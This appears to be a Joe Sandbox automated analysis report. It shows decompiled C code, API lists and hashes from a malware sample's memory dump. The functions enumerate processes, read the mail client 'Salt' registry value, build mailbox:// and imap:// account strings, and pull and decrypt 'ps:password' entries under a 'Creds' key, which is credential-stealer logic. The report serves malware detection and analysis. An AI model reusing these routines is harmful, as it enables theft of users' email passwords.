                                                                                                              • Source File: 00000006.00000002.486330939.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              • Associated: 00000006.00000002.486428221.0000000000418000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: sprintf$memset$strcpy
                                                                                                              • String ID: bgcolor="%s"$ width="%s"$</font>$<font color="%s">$<table border="1" cellpadding="5"><tr%s>$<th%s>%s%s%s
                                                                                                              • API String ID: 898937289-3842416460
                                                                                                              • Opcode ID: ecad5a273c195f4d907ec2c98c3fcd712bb439ffa37f8c8a1398ed03aac76e31
                                                                                                              • Instruction ID: 9a5c5c5b7b50b61a4e5f96e5236d764a10b70f2cfe31ee2b12760fde8c14bfcc
                                                                                                              • Opcode Fuzzy Hash: ecad5a273c195f4d907ec2c98c3fcd712bb439ffa37f8c8a1398ed03aac76e31
                                                                                                              • Instruction Fuzzy Hash: C3415FB284021D7ADF21EB55DC41FEB776CAF44344F0401FBBA09A2152E6389F988FA5
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0040E0DA Relevance: 22.8, APIs: 7, Strings: 6, Instructions: 48libraryloaderCOMMON
                                                                                                              Download Yara Rule
                                                                                                              C-Code - Quality: 100%
                                                                                                              			E0040E0DA() {
				void* _t1;
				int _t2;
				struct HINSTANCE__* _t4;

				if( *0x417518 != 0) {
					return _t1;
				}
				_t2 = LoadLibraryA("psapi.dll");
				_t4 = _t2;
				if(_t4 == 0) {
					L10:
					return _t2;
				} else {
					_t2 = GetProcAddress(_t4, "GetModuleBaseNameA");
					 *0x416fec = _t2;
					if(_t2 != 0) {
						_t2 = GetProcAddress(_t4, "EnumProcessModules");
						 *0x416fe4 = _t2;
						if(_t2 != 0) {
							_t2 = GetProcAddress(_t4, "GetModuleFileNameExA");
							 *0x416fdc = _t2;
							if(_t2 != 0) {
								_t2 = GetProcAddress(_t4, "EnumProcesses");
								 *0x41710c = _t2;
								if(_t2 != 0) {
									_t2 = GetProcAddress(_t4, "GetModuleInformation");
									 *0x416fe8 = _t2;
									if(_t2 != 0) {
										 *0x417518 = 1;
									}
								}
							}
						}
					}
					if( *0x417518 == 0) {
						_t2 = FreeLibrary(_t4);
					}
					goto L10;
				}
			}






                                                                                                              0x0040e0e1
                                                                                                              0x0040e171
                                                                                                              0x0040e171
                                                                                                              0x0040e0ed
                                                                                                              0x0040e0f3
                                                                                                              0x0040e0f7
                                                                                                              0x0040e170
                                                                                                              0x00000000
                                                                                                              0x0040e0f9
                                                                                                              0x0040e106
                                                                                                              0x0040e10a
                                                                                                              0x0040e10f
                                                                                                              0x0040e117
                                                                                                              0x0040e11b
                                                                                                              0x0040e120
                                                                                                              0x0040e128
                                                                                                              0x0040e12c
                                                                                                              0x0040e131
                                                                                                              0x0040e139
                                                                                                              0x0040e13d
                                                                                                              0x0040e142
                                                                                                              0x0040e14a
                                                                                                              0x0040e14e
                                                                                                              0x0040e153
                                                                                                              0x0040e155
                                                                                                              0x0040e155
                                                                                                              0x0040e153
                                                                                                              0x0040e142
                                                                                                              0x0040e131
                                                                                                              0x0040e120
                                                                                                              0x0040e167
                                                                                                              0x0040e16a
                                                                                                              0x0040e16a
                                                                                                              0x00000000
                                                                                                              0x0040e167

                                                                                                              APIs
                                                                                                              • LoadLibraryA.KERNEL32(psapi.dll), ref: 0040E0ED
                                                                                                              • GetProcAddress.KERNEL32(00000000,GetModuleBaseNameA,74EDCFBC), ref: 0040E106
                                                                                                              • GetProcAddress.KERNEL32(00000000,EnumProcessModules), ref: 0040E117
                                                                                                              • GetProcAddress.KERNEL32(00000000,GetModuleFileNameExA), ref: 0040E128
                                                                                                              • GetProcAddress.KERNEL32(00000000,EnumProcesses), ref: 0040E139
                                                                                                              • GetProcAddress.KERNEL32(00000000,GetModuleInformation), ref: 0040E14A
                                                                                                              • FreeLibrary.KERNEL32(00000000), ref: 0040E16A
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.486330939.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              • Associated: 00000006.00000002.486428221.0000000000418000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: AddressProc$Library$FreeLoad
                                                                                                              • String ID: EnumProcessModules$EnumProcesses$GetModuleBaseNameA$GetModuleFileNameExA$GetModuleInformation$psapi.dll
                                                                                                              • API String ID: 2449869053-232097475
                                                                                                              • Opcode ID: ce59c7be58069c2add821b7db74a10a85a70ad25a6d5f1115d61fb7aecc40683
                                                                                                              • Instruction ID: ee37d54ff12c00b719d991246764d0af3e5b6fb2a2d0f9e8910a6c9c4b0fdd5c
                                                                                                              • Opcode Fuzzy Hash: ce59c7be58069c2add821b7db74a10a85a70ad25a6d5f1115d61fb7aecc40683
                                                                                                              • Instruction Fuzzy Hash: F0015E31740311EAC711EB266D40FE73EB85B48B91B11843BE544E52A4D778C5928A6C
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00410525 Relevance: 21.1, APIs: 9, Strings: 3, Instructions: 136stringregistryCOMMON
                                                                                                              Download Yara Rule
                                                                                                              C-Code - Quality: 84%
                                                                                                              			E00410525(char* __eax, void* __edx, void* __edi, void* __eflags, intOrPtr _a4, intOrPtr _a8) {
				char _v6;
				char _v7;
				char _v8;
				int _v12;
				intOrPtr _v16;
				void* _v20;
				short* _v24;
				unsigned int _v28;
				char* _v32;
				int _v36;
				intOrPtr _v40;
				signed int _v44;
				void _v299;
				char _v300;
				void _v555;
				char _v556;
				char _v1080;
				void* __esi;
				int _t56;
				intOrPtr _t58;
				intOrPtr _t64;
				char _t92;
				char* _t93;
				void* _t100;
				signed int _t102;
				signed int _t107;
				intOrPtr _t108;
				void* _t113;

				_t113 = __eflags;
				_t100 = __edx;
				_t93 = __eax;
				E004046D7( &_v1080);
				if(E004047A0( &_v1080, _t113) != 0) {
					_t56 = strlen(_t93);
					asm("cdq");
					_t107 = _t56 - _t100 >> 1;
					_t2 = _t107 + 1; // 0x1
					_t58 = _t2;
					L004115D0();
					_t102 = 0;
					_t96 = _t58;
					_v16 = _t58;
					if(_t107 > 0) {
						do {
							_v8 =  *((intOrPtr*)(_t93 + _t102 * 2));
							_v7 = _t93[1 + _t102 * 2];
							_v6 = 0;
							_t92 = E00406512( &_v8);
							_t96 = _v16;
							 *((char*)(_t102 + _v16)) = _t92;
							_t102 = _t102 + 1;
						} while (_t102 < _t107);
					}
					_v556 = 0;
					memset( &_v555, 0, 0xff);
					_v12 = 0;
					_v300 = 0;
					memset( &_v299, 0, 0xfe);
					_t64 =  *((intOrPtr*)(_a4 + 0x86c));
					if(_t64 != 1) {
						__eflags = _t64 - 2;
						if(_t64 == 2) {
							_push("Software\\Microsoft\\Windows Live Mail");
							goto L7;
						}
					} else {
						_push("Software\\Microsoft\\Windows Mail");
						L7:
						strcpy( &_v300, ??);
						_pop(_t96);
					}
					if(E0040EB3F(0x80000001,  &_v300,  &_v20) == 0) {
						_v12 = 0xff;
						E0040EBA3(_t96, _v20, "Salt",  &_v556,  &_v12);
						RegCloseKey(_v20);
					}
					_v40 = _v16;
					_v36 = _v12;
					_v32 =  &_v556;
					_v44 = _t107;
					if(E00404811( &_v1080,  &_v44,  &_v36,  &_v28) != 0) {
						_t108 = _a8;
						WideCharToMultiByte(0, 0, _v24, _v28 >> 1, _t108 + 0x400, 0xff, 0, 0);
						(_t108 + 0x400)[_v28 >> 1] = 0;
						LocalFree(_v24);
					}
					_push(_v16);
					L004115D6();
				}
				return E004047F1( &_v1080);
			}































                                                                                                              0x00410525
                                                                                                              0x00410525
                                                                                                              0x00410536
                                                                                                              0x00410538
                                                                                                              0x00410544
                                                                                                              0x0041054c
                                                                                                              0x00410551
                                                                                                              0x00410556
                                                                                                              0x00410558
                                                                                                              0x00410558
                                                                                                              0x0041055c
                                                                                                              0x00410562
                                                                                                              0x00410566
                                                                                                              0x00410567
                                                                                                              0x0041056a
                                                                                                              0x0041056c
                                                                                                              0x0041056f
                                                                                                              0x00410576
                                                                                                              0x0041057d
                                                                                                              0x00410581
                                                                                                              0x00410587
                                                                                                              0x0041058a
                                                                                                              0x0041058d
                                                                                                              0x0041058e
                                                                                                              0x0041056c
                                                                                                              0x004105a1
                                                                                                              0x004105a8
                                                                                                              0x004105bc
                                                                                                              0x004105bf
                                                                                                              0x004105c5
                                                                                                              0x004105cd
                                                                                                              0x004105d9
                                                                                                              0x004105e2
                                                                                                              0x004105e5
                                                                                                              0x004105e7
                                                                                                              0x00000000
                                                                                                              0x004105e7
                                                                                                              0x004105db
                                                                                                              0x004105db
                                                                                                              0x004105ec
                                                                                                              0x004105f3
                                                                                                              0x004105f9
                                                                                                              0x004105f9
                                                                                                              0x00410614
                                                                                                              0x00410629
                                                                                                              0x0041062c
                                                                                                              0x00410637
                                                                                                              0x00410637
                                                                                                              0x00410640
                                                                                                              0x00410646
                                                                                                              0x0041064f
                                                                                                              0x00410664
                                                                                                              0x0041066e
                                                                                                              0x00410670
                                                                                                              0x00410688
                                                                                                              0x00410693
                                                                                                              0x0041069d
                                                                                                              0x0041069d
                                                                                                              0x004106a3
                                                                                                              0x004106a6
                                                                                                              0x004106ac
                                                                                                              0x004106bb

                                                                                                              APIs
                                                                                                                • Part of subcall function 004046D7: strcpy.MSVCRT ref: 00404726
                                                                                                                • Part of subcall function 004047A0: LoadLibraryA.KERNEL32(?), ref: 004047A8
                                                                                                                • Part of subcall function 004047A0: GetProcAddress.KERNEL32(00000000,?), ref: 004047C0
                                                                                                              • strlen.MSVCRT ref: 0041054C
                                                                                                              • ??2@YAPAXI@Z.MSVCRT ref: 0041055C
                                                                                                              • memset.MSVCRT ref: 004105A8
                                                                                                              • memset.MSVCRT ref: 004105C5
                                                                                                              • strcpy.MSVCRT(?,Software\Microsoft\Windows Live Mail), ref: 004105F3
                                                                                                              • RegCloseKey.ADVAPI32(?), ref: 00410637
                                                                                                              • WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,?,000000FF,00000000,00000000,?,?,?), ref: 00410688
                                                                                                              • LocalFree.KERNEL32(?), ref: 0041069D
                                                                                                              • ??3@YAXPAX@Z.MSVCRT ref: 004106A6
                                                                                                                • Part of subcall function 00406512: strtoul.MSVCRT ref: 0040651A
                                                                                                              Strings
                                                                                                              • Software\Microsoft\Windows Live Mail, xrefs: 004105E7
                                                                                                              • Salt, xrefs: 00410621
                                                                                                              • Software\Microsoft\Windows Mail, xrefs: 004105DB
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.486330939.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              • Associated: 00000006.00000002.486428221.0000000000418000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: memsetstrcpy$??2@??3@AddressByteCharCloseFreeLibraryLoadLocalMultiProcWidestrlenstrtoul
                                                                                                              • String ID: Salt$Software\Microsoft\Windows Live Mail$Software\Microsoft\Windows Mail
                                                                                                              • API String ID: 1673043434-2687544566
                                                                                                              • Opcode ID: d736670967e517c8a8311b7e00b25a05cca8533aebccd7b3481f1ff314651cbf
                                                                                                              • Instruction ID: 7afd7cd9a60bb03764dcbc3854d87102a14f95683297c5d7d0928fc071fa2b2b
                                                                                                              • Opcode Fuzzy Hash: d736670967e517c8a8311b7e00b25a05cca8533aebccd7b3481f1ff314651cbf
                                                                                                              • Instruction Fuzzy Hash: D14186B2C0011CAECB11DBA5DC81ADEBBBCAF48344F1041ABE645F3251DA349A95CB68
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0040CBA7 Relevance: 21.1, APIs: 8, Strings: 4, Instructions: 129COMMON
                                                                                                              Download Yara Rule
                                                                                                              C-Code - Quality: 82%
                                                                                                              			E0040CBA7(intOrPtr __ecx, intOrPtr _a4) {
				intOrPtr _v8;
				void _v619;
				char _v620;
				void _v1231;
				char _v1232;
				void* __edi;
				void* _t37;
				void* _t53;
				char* _t54;
				intOrPtr _t60;
				void* _t61;
				char* _t62;
				void* _t67;
				intOrPtr _t84;
				void* _t85;
				intOrPtr _t87;
				void* _t88;
				void* _t89;

				_t87 = _a4;
				_t84 = __ecx;
				_v8 = __ecx;
				if( *((intOrPtr*)(_t87 + 0x1c)) <= 0) {
					_t37 = 0;
				} else {
					_t37 =  *((intOrPtr*)( *((intOrPtr*)(_t87 + 0xc)))) +  *((intOrPtr*)(_t87 + 0x10));
				}
				_push(0xa);
				_push("mailbox://");
				_push(_t37);
				L00411612();
				_t89 = _t88 + 0xc;
				if(_t37 == 0) {
					L8:
					_a4 = 0;
					if( *((intOrPtr*)(_t84 + 0x474)) > 0) {
						while(1) {
							_t85 = E0040D438(_a4, _t84 + 0x468);
							_v620 = 0;
							memset( &_v619, 0, 0x261);
							_v1232 = 0;
							memset( &_v1231, 0, 0x261);
							_t17 = _t85 + 0x104; // 0x104
							_t18 = _t85 + 0x204; // 0x204
							sprintf( &_v620, "mailbox://%s@%s", _t18, _t17);
							_t20 = _t85 + 0x104; // 0x104
							_t21 = _t85 + 0x204; // 0x204
							sprintf( &_v1232, "imap://%s@%s", _t21, _t20);
							_t53 = 0;
							_t89 = _t89 + 0x38;
							if( *((intOrPtr*)(_t87 + 0x1c)) > 0) {
								_t53 =  *((intOrPtr*)( *((intOrPtr*)(_t87 + 0xc)))) +  *((intOrPtr*)(_t87 + 0x10));
							}
							_push(_t53);
							_t54 =  &_v620;
							_push(_t54);
							L004115B2();
							if(_t54 == 0) {
								goto L17;
							}
							_t61 = 0;
							if( *((intOrPtr*)(_t87 + 0x1c)) > 0) {
								_t61 =  *((intOrPtr*)( *((intOrPtr*)(_t87 + 0xc)))) +  *((intOrPtr*)(_t87 + 0x10));
							}
							_push(_t61);
							_t62 =  &_v1232;
							_push(_t62);
							L004115B2();
							if(_t62 != 0) {
								L18:
								_a4 = _a4 + 1;
								_t60 = _v8;
								if(_a4 <  *((intOrPtr*)(_t60 + 0x474))) {
									_t84 = _t60;
									continue;
								} else {
								}
							} else {
								goto L17;
							}
							goto L21;
							L17:
							if( *((char*)(E00406B0F( *((intOrPtr*)(_t87 + 0x1c)) - 1, _t87))) == 0x7e) {
								E00401380(_t57 + 1, _t85 + 0x304, 0xff);
							} else {
								goto L18;
							}
							goto L21;
						}
					}
				} else {
					if( *((intOrPtr*)(_t87 + 0x1c)) <= 0) {
						_t67 = 0;
					} else {
						_t67 =  *((intOrPtr*)( *((intOrPtr*)(_t87 + 0xc)))) +  *((intOrPtr*)(_t87 + 0x10));
					}
					_push(7);
					_push("imap://");
					_push(_t67);
					L00411612();
					_t89 = _t89 + 0xc;
					if(_t67 == 0) {
						goto L8;
					}
				}
				L21:
				return 1;
			}





















                                                                                                              0x0040cbb2
                                                                                                              0x0040cbbb
                                                                                                              0x0040cbbd
                                                                                                              0x0040cbc0
                                                                                                              0x0040cbcc
                                                                                                              0x0040cbc2
                                                                                                              0x0040cbc7
                                                                                                              0x0040cbc7
                                                                                                              0x0040cbce
                                                                                                              0x0040cbd0
                                                                                                              0x0040cbd5
                                                                                                              0x0040cbd6
                                                                                                              0x0040cbdb
                                                                                                              0x0040cbe0
                                                                                                              0x0040cc0b
                                                                                                              0x0040cc11
                                                                                                              0x0040cc14
                                                                                                              0x0040cc23
                                                                                                              0x0040cc32
                                                                                                              0x0040cc3d
                                                                                                              0x0040cc44
                                                                                                              0x0040cc53
                                                                                                              0x0040cc5a
                                                                                                              0x0040cc5f
                                                                                                              0x0040cc66
                                                                                                              0x0040cc79
                                                                                                              0x0040cc7e
                                                                                                              0x0040cc85
                                                                                                              0x0040cc98
                                                                                                              0x0040cc9d
                                                                                                              0x0040cc9f
                                                                                                              0x0040cca5
                                                                                                              0x0040ccac
                                                                                                              0x0040ccac
                                                                                                              0x0040ccaf
                                                                                                              0x0040ccb0
                                                                                                              0x0040ccb6
                                                                                                              0x0040ccb7
                                                                                                              0x0040ccc0
                                                                                                              0x00000000
                                                                                                              0x00000000
                                                                                                              0x0040ccc2
                                                                                                              0x0040ccc7
                                                                                                              0x0040ccce
                                                                                                              0x0040ccce
                                                                                                              0x0040ccd1
                                                                                                              0x0040ccd2
                                                                                                              0x0040ccd8
                                                                                                              0x0040ccd9
                                                                                                              0x0040cce2
                                                                                                              0x0040ccf4
                                                                                                              0x0040ccf4
                                                                                                              0x0040ccf7
                                                                                                              0x0040cd03
                                                                                                              0x0040cc21
                                                                                                              0x00000000
                                                                                                              0x00000000
                                                                                                              0x0040cd09
                                                                                                              0x00000000
                                                                                                              0x00000000
                                                                                                              0x00000000
                                                                                                              0x00000000
                                                                                                              0x0040cce4
                                                                                                              0x0040ccf2
                                                                                                              0x0040cd17
                                                                                                              0x00000000
                                                                                                              0x00000000
                                                                                                              0x00000000
                                                                                                              0x00000000
                                                                                                              0x0040ccf2
                                                                                                              0x0040cc23
                                                                                                              0x0040cbe2
                                                                                                              0x0040cbe5
                                                                                                              0x0040cbf1
                                                                                                              0x0040cbe7
                                                                                                              0x0040cbec
                                                                                                              0x0040cbec
                                                                                                              0x0040cbf3
                                                                                                              0x0040cbf5
                                                                                                              0x0040cbfa
                                                                                                              0x0040cbfb
                                                                                                              0x0040cc00
                                                                                                              0x0040cc05
                                                                                                              0x00000000
                                                                                                              0x00000000
                                                                                                              0x0040cc05
                                                                                                              0x0040cd1e
                                                                                                              0x0040cd24

                                                                                                              APIs
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.486330939.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              • Associated: 00000006.00000002.486428221.0000000000418000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: _stricmp_strnicmpmemsetsprintf$strlen
                                                                                                              • String ID: imap://$imap://%s@%s$mailbox://$mailbox://%s@%s
                                                                                                              • API String ID: 4281260487-2229823034
                                                                                                              • Opcode ID: e9e02f881341a7f68f4078179dffa19dbd3d5546575d598c2616a551df887c2f
                                                                                                              • Instruction ID: 9e102a0fb77db954c7e66e430d6901f6f24083c0ab16dd7aca32eaa7b9d40139
                                                                                                              • Opcode Fuzzy Hash: e9e02f881341a7f68f4078179dffa19dbd3d5546575d598c2616a551df887c2f
                                                                                                              • Instruction Fuzzy Hash: B84163B1604205EFD724DB69C881F96B7E8AF04344F144A7BEA4AE7281D738FA448B58
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0040CBA5 Relevance: 21.1, APIs: 8, Strings: 4, Instructions: 122COMMON
                                                                                                              Download Yara Rule
                                                                                                              C-Code - Quality: 82%
                                                                                                              			E0040CBA5(void* __eax, intOrPtr __ecx, intOrPtr _a4) {
				intOrPtr _v8;
				void _v619;
				char _v620;
				void _v1231;
				char _v1232;
				void* __edi;
				void* _t39;
				void* _t55;
				char* _t56;
				intOrPtr _t62;
				void* _t63;
				char* _t64;
				void* _t69;
				intOrPtr _t89;
				void* _t91;
				intOrPtr _t94;
				void* _t99;
				void* _t100;
				void* _t101;

				_t100 = _t99 - 0x4cc;
				_t94 = _a4;
				_t89 = __ecx;
				_v8 = __ecx;
				if( *((intOrPtr*)(_t94 + 0x1c)) <= 0) {
					_t39 = 0;
				} else {
					_t39 =  *((intOrPtr*)( *((intOrPtr*)(_t94 + 0xc)))) +  *((intOrPtr*)(_t94 + 0x10));
				}
				_push(0xa);
				_push("mailbox://");
				_push(_t39);
				L00411612();
				_t101 = _t100 + 0xc;
				if(_t39 == 0) {
					L9:
					_a4 = 0;
					if( *((intOrPtr*)(_t89 + 0x474)) > 0) {
						while(1) {
							_t91 = E0040D438(_a4, _t89 + 0x468);
							_v620 = 0;
							memset( &_v619, 0, 0x261);
							_v1232 = 0;
							memset( &_v1231, 0, 0x261);
							_t17 = _t91 + 0x104; // 0x104
							_t18 = _t91 + 0x204; // 0x204
							sprintf( &_v620, "mailbox://%s@%s", _t18, _t17);
							_t20 = _t91 + 0x104; // 0x104
							_t21 = _t91 + 0x204; // 0x204
							sprintf( &_v1232, "imap://%s@%s", _t21, _t20);
							_t55 = 0;
							_t101 = _t101 + 0x38;
							if( *((intOrPtr*)(_t94 + 0x1c)) > 0) {
								_t55 =  *((intOrPtr*)( *((intOrPtr*)(_t94 + 0xc)))) +  *((intOrPtr*)(_t94 + 0x10));
							}
							_push(_t55);
							_t56 =  &_v620;
							_push(_t56);
							L004115B2();
							if(_t56 == 0) {
								goto L18;
							}
							_t63 = 0;
							if( *((intOrPtr*)(_t94 + 0x1c)) > 0) {
								_t63 =  *((intOrPtr*)( *((intOrPtr*)(_t94 + 0xc)))) +  *((intOrPtr*)(_t94 + 0x10));
							}
							_push(_t63);
							_t64 =  &_v1232;
							_push(_t64);
							L004115B2();
							if(_t64 != 0) {
								L19:
								_a4 = _a4 + 1;
								_t62 = _v8;
								if(_a4 <  *((intOrPtr*)(_t62 + 0x474))) {
									_t89 = _t62;
									continue;
								} else {
								}
							} else {
								goto L18;
							}
							goto L22;
							L18:
							if( *((char*)(E00406B0F( *((intOrPtr*)(_t94 + 0x1c)) - 1, _t94))) == 0x7e) {
								E00401380(_t59 + 1, _t91 + 0x304, 0xff);
							} else {
								goto L19;
							}
							goto L22;
						}
					}
				} else {
					if( *((intOrPtr*)(_t94 + 0x1c)) <= 0) {
						_t69 = 0;
					} else {
						_t69 =  *((intOrPtr*)( *((intOrPtr*)(_t94 + 0xc)))) +  *((intOrPtr*)(_t94 + 0x10));
					}
					_push(7);
					_push("imap://");
					_push(_t69);
					L00411612();
					_t101 = _t101 + 0xc;
					if(_t69 == 0) {
						goto L9;
					}
				}
				L22:
				return 1;
			}






















                                                                                                              0x0040cbaa
                                                                                                              0x0040cbb2
                                                                                                              0x0040cbbb
                                                                                                              0x0040cbbd
                                                                                                              0x0040cbc0
                                                                                                              0x0040cbcc
                                                                                                              0x0040cbc2
                                                                                                              0x0040cbc7
                                                                                                              0x0040cbc7
                                                                                                              0x0040cbce
                                                                                                              0x0040cbd0
                                                                                                              0x0040cbd5
                                                                                                              0x0040cbd6
                                                                                                              0x0040cbdb
                                                                                                              0x0040cbe0
                                                                                                              0x0040cc0b
                                                                                                              0x0040cc11
                                                                                                              0x0040cc14
                                                                                                              0x0040cc23
                                                                                                              0x0040cc32
                                                                                                              0x0040cc3d
                                                                                                              0x0040cc44
                                                                                                              0x0040cc53
                                                                                                              0x0040cc5a
                                                                                                              0x0040cc5f
                                                                                                              0x0040cc66
                                                                                                              0x0040cc79
                                                                                                              0x0040cc7e
                                                                                                              0x0040cc85
                                                                                                              0x0040cc98
                                                                                                              0x0040cc9d
                                                                                                              0x0040cc9f
                                                                                                              0x0040cca5
                                                                                                              0x0040ccac
                                                                                                              0x0040ccac
                                                                                                              0x0040ccaf
                                                                                                              0x0040ccb0
                                                                                                              0x0040ccb6
                                                                                                              0x0040ccb7
                                                                                                              0x0040ccc0
                                                                                                              0x00000000
                                                                                                              0x00000000
                                                                                                              0x0040ccc2
                                                                                                              0x0040ccc7
                                                                                                              0x0040ccce
                                                                                                              0x0040ccce
                                                                                                              0x0040ccd1
                                                                                                              0x0040ccd2
                                                                                                              0x0040ccd8
                                                                                                              0x0040ccd9
                                                                                                              0x0040cce2
                                                                                                              0x0040ccf4
                                                                                                              0x0040ccf4
                                                                                                              0x0040ccf7
                                                                                                              0x0040cd03
                                                                                                              0x0040cc21
                                                                                                              0x00000000
                                                                                                              0x00000000
                                                                                                              0x0040cd09
                                                                                                              0x00000000
                                                                                                              0x00000000
                                                                                                              0x00000000
                                                                                                              0x00000000
                                                                                                              0x0040cce4
                                                                                                              0x0040ccf2
                                                                                                              0x0040cd17
                                                                                                              0x00000000
                                                                                                              0x00000000
                                                                                                              0x00000000
                                                                                                              0x00000000
                                                                                                              0x0040ccf2
                                                                                                              0x0040cc23
                                                                                                              0x0040cbe2
                                                                                                              0x0040cbe5
                                                                                                              0x0040cbf1
                                                                                                              0x0040cbe7
                                                                                                              0x0040cbec
                                                                                                              0x0040cbec
                                                                                                              0x0040cbf3
                                                                                                              0x0040cbf5
                                                                                                              0x0040cbfa
                                                                                                              0x0040cbfb
                                                                                                              0x0040cc00
                                                                                                              0x0040cc05
                                                                                                              0x00000000
                                                                                                              0x00000000
                                                                                                              0x0040cc05
                                                                                                              0x0040cd1d
                                                                                                              0x0040cd24

                                                                                                              APIs
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.486330939.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              • Associated: 00000006.00000002.486428221.0000000000418000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: _stricmp_strnicmpmemsetsprintf
                                                                                                              • String ID: imap://$imap://%s@%s$mailbox://$mailbox://%s@%s
                                                                                                              • API String ID: 2822975062-2229823034
                                                                                                              • Opcode ID: b6ee68a00b14a896bd5f4a1625b3665dec952f704790df008a5e90175c698e8f
                                                                                                              • Instruction ID: 56d5f4bbafa72d85e66e322173295d9522024af121689b7315c9fa9ceefdefbd
                                                                                                              • Opcode Fuzzy Hash: b6ee68a00b14a896bd5f4a1625b3665dec952f704790df008a5e90175c698e8f
                                                                                                              • Instruction Fuzzy Hash: 754150B1604605EFD724DB69C8C1F96B7E8AF04304F14466BEA4AE7281D738FA45CB58
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0040D6FB Relevance: 21.1, APIs: 9, Strings: 3, Instructions: 118registryCOMMON
                                                                                                              Download Yara Rule
                                                                                                              C-Code - Quality: 56%
                                                                                                              			E0040D6FB(void* __ecx, void* __eflags, intOrPtr* _a4, intOrPtr _a8, char _a12, void* _a16) {
				int _v8;
				int _v12;
				void* _v16;
				short* _v20;
				int _v24;
				char* _v28;
				char _v32;
				intOrPtr _v36;
				char _v40;
				int _v44;
				void _v299;
				char _v300;
				char _v556;
				char _v812;
				char _v4908;
				void* __ebx;
				void* __edi;
				long _t46;
				int* _t84;
				char* _t85;

				E004118A0(0x132c, __ecx);
				_t84 = 0;
				_t46 = RegOpenKeyExA(_a16, "Creds", 0, 0x20019,  &_a16);
				if(_t46 != 0) {
					return _t46;
				}
				_v300 = _t46;
				memset( &_v299, 0, 0xff);
				_push(0xff);
				_push( &_v300);
				_v8 = 0;
				_push(0);
				while(RegEnumKeyA(_a16, ??, ??, ??) == 0) {
					if(RegOpenKeyExA(_a16,  &_v300, _t84, 0x20019,  &_v16) == 0) {
						_v12 = 0x1000;
						if(RegQueryValueExA(_v16, "ps:password", _t84,  &_v44,  &_v4908,  &_v12) == 0) {
							_v32 = _v12;
							_v28 =  &_v4908;
							_v40 = _a12;
							_v36 = _a8;
							if(E00404811(_a4 + 0xc,  &_v32,  &_v40,  &_v24) != 0) {
								_t85 =  &_v812;
								_v812 = 0;
								_v556 = 0;
								E004060D0(0xff, _t85,  &_v300);
								WideCharToMultiByte(0, 0, _v20, _v24,  &_v556, 0xff, 0, 0);
								 *((intOrPtr*)( *_a4))(_t85);
								LocalFree(_v20);
								_t84 = 0;
							}
						}
						RegCloseKey(_v16);
					}
					_v8 = _v8 + 1;
					_push(0xff);
					_push( &_v300);
					_push(_v8);
				}
				return RegCloseKey(_a16);
			}























                                                                                                              0x0040d703
                                                                                                              0x0040d71a
                                                                                                              0x0040d725
                                                                                                              0x0040d729
                                                                                                              0x0040d862
                                                                                                              0x0040d862
                                                                                                              0x0040d735
                                                                                                              0x0040d743
                                                                                                              0x0040d74b
                                                                                                              0x0040d752
                                                                                                              0x0040d753
                                                                                                              0x0040d756
                                                                                                              0x0040d844
                                                                                                              0x0040d774
                                                                                                              0x0040d792
                                                                                                              0x0040d7a1
                                                                                                              0x0040d7aa
                                                                                                              0x0040d7b3
                                                                                                              0x0040d7b9
                                                                                                              0x0040d7bf
                                                                                                              0x0040d7db
                                                                                                              0x0040d7e4
                                                                                                              0x0040d7ea
                                                                                                              0x0040d7f1
                                                                                                              0x0040d7f8
                                                                                                              0x0040d812
                                                                                                              0x0040d820
                                                                                                              0x0040d825
                                                                                                              0x0040d82b
                                                                                                              0x0040d82b
                                                                                                              0x0040d7db
                                                                                                              0x0040d830
                                                                                                              0x0040d830
                                                                                                              0x0040d836
                                                                                                              0x0040d839
                                                                                                              0x0040d840
                                                                                                              0x0040d841
                                                                                                              0x0040d841
                                                                                                              0x00000000

                                                                                                              APIs
                                                                                                              • RegOpenKeyExA.ADVAPI32(0040DB12,Creds,00000000,00020019,0040DB12), ref: 0040D725
                                                                                                              • memset.MSVCRT ref: 0040D743
                                                                                                              • RegOpenKeyExA.ADVAPI32(?,?,00000000,00020019,?), ref: 0040D770
                                                                                                              • RegQueryValueExA.ADVAPI32 ref: 0040D799
